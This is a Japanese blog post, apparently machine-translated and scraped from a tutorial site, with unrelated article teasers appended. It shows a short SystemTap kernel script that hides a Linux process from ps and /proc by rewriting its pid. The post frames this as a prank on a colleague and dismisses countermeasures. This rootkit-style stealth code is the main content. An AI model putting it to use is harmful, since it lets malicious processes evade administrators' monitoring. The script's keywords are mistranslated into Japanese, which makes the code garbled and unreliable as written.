友人たちはいつも、Linux のプロセスを隠す方法を私に尋ねます。私は、どの程度隠したいのか、カーネル内で隠したいのか、ユーザーから隠したいのかを尋ねます。 オンラインでの議論はすべて、procfs や同様のユーザー モード ソリューションのフックに関するもので、どれも長文です。これらのシナリオは大きすぎて複雑すぎると私は思います。すぐに結果を見たい人にとっては、このような複雑なものを見るとやる気が失せてしまうかもしれません。 この記事では、たった 1 行のコードで Linux プロセスをユーザーから隠す、型破りな方法を紹介します。 プロセスの pid を変更するだけです。 相手は Xiao Yin なので、反撃する価値はありません。ただ楽しむために、上級カンファレンス エンジニアにいたずらをしましょう。 完全なスクリプトは次のとおりです。 #!/usr/bin/stap -g #非表示.stp グローバル pid; 関数hide(who:long) %{ 構造体task_struct *ターゲット; ターゲット = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID); ターゲット->pid = 0x7fffffff; %} 調査開始 { pid = $1 非表示(pid); 出口(); } さあ、試してみてください: [root@localhost system]# ./tohide & [1] 403 [root@localhost システム]# ./hide.stp [root@localhost システム]# プロセスを表示できるすべてのバイナリ ファイルを検出するには、次のコマンドを使用できます。 pid が $(ls /proc|awk '/^[0-9]+/{print $1}') の場合、 ls -l /proc/$pid/exe; 終わり procfs でそれが消えてしまった場合、ps は当然それを検出できません。 guru-mode stap がおかしいと思われる場合は、独自の独立した Linux カーネル モジュールを作成し、変更と終了の方法を使用できます。 ターゲット->pid = xxxx; -1 を返します。 各種フックメソッドよりもずっと簡単じゃないですか?いわゆるコードではなくデータを移動するというやつです! その原理を簡単に説明しましょう。
もう言葉はありません。 もう一度言いますが、この記事で説明した方法に対抗しようとしないでください。こんなに単純なものには対抗する価値がないからです、ハハ、そうですよね? Linux プロセスがカーネル内に隠れる仕組みをさらに詳しく知るには、以前の Rootkit シリーズの記事を参照してください。同時に、それぞれの方法に対する対策も示しました。 1 行のコードで Linux プロセスを非表示にする方法についての記事はこれで終わりです。Linux の非表示プロセスの詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。 以下もご興味があるかもしれません:
|
<<: Vue3とTypeScriptを組み合わせたプロジェクト開発の実践記録
>>: Vue-router は現在の場所 (/path) へのナビゲーションを許可しません。エラーの原因と修正
目次1. フロントエンドルーティングの実装原則2. vue-Routerの基本的な使い方2.1. イ...
1. ショートカットCtrl + Shift + Pを使用してコンソールを呼び出します 2、「スニペ...
この記事では、動的なパーティクル効果を実現するためのjQueryの具体的なコードを参考までに紹介しま...
目次負荷分散に nginx を使用するための 2 つのモジュール:アップストリームはロードノードプー...
目次序文文章プリミティブ型プリミティブ値ラッパーオブジェクト物体コンストラクタ通常機能(関数)プリミ...
Vue2+elementui のホバー プロンプトは、外部と内部に分かれています。内部のものは el...
Zhihu Discovery コラムのタイトル画像は、通常、以下のように表示されます。明らかに、グ...
1. tomcat とは誰ですか? 2. Tomcat は何ができますか? Tomcat は Web...
他の人のために解決した問題を記録します。問題の説明MySQLのバージョンは5.7、オペレーティングシ...
この記事では、vueの大画面表示適応の具体的なコードを参考までに紹介します。具体的な内容は以下のとお...
目次変数のスコープ閉鎖の概念クロージャの使用クロージャのデメリット最後に、クロージャのメリットとデメ...
DOM の概念DOM: ドキュメント オブジェクト モデル: ドキュメント オブジェクト モデルは、...
目次概要バーチャルドム原理実装プロセスパッチ方式sameVnode関数patchVnode関数upd...
目次背景実装のアイデア成果を達成する背景最近取り組んでいるプロジェクトは、Vue2 で構築されたプロ...
この記事の例では、WeChatアプレットで写真をアップロードするための具体的なコードを参考までに共有...